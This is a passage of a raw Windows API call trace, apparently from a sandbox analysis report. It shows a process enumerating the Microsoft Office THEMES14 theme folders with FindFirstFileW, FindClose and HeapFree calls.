ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8ee1aff0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0273.084] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0273.084] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0273.084] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8ee1aff0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8ee1aff0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0273.086] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0273.087] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0273.087] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8ef97db0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8ef97db0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0273.088] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0273.089] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0273.089] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8fc633f0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8fc633f0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0273.091] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0273.091] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0273.091] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8fc3d290, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8fc3d290, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0273.093] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0273.094] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0273.094] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8fc633f0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8fc633f0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0273.096] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0273.096] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0273.096] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x900ffe90, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x900ffe90, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0273.099] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0273.100] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0273.100] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.156] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.159] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0273.159] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.162] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.162] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.163] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.165] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.165] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.165] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.169] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.169] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.169] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.171] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.171] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.172] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.174] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.174] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.174] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.176] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.176] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.176] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.179] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.179] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.179] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.181] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.181] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.181] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.183] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.183] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.183] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.186] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.186] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.186] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.188] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.188] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.188] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.189] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.189] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.189] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.192] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.192] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.192] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.194] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.194] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.194] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.195] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.195] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.195] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.198] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.198] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.198] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.199] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.199] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.199] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.201] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.201] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.202] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.206] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.206] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.206] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.208] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.208] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.208] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.210] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.210] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.210] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.212] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.212] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.212] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.214] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.214] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.214] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO", cAlternateFileName="")) returned 1 [0273.214] GetLastError () returned 0x12 [0273.214] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, 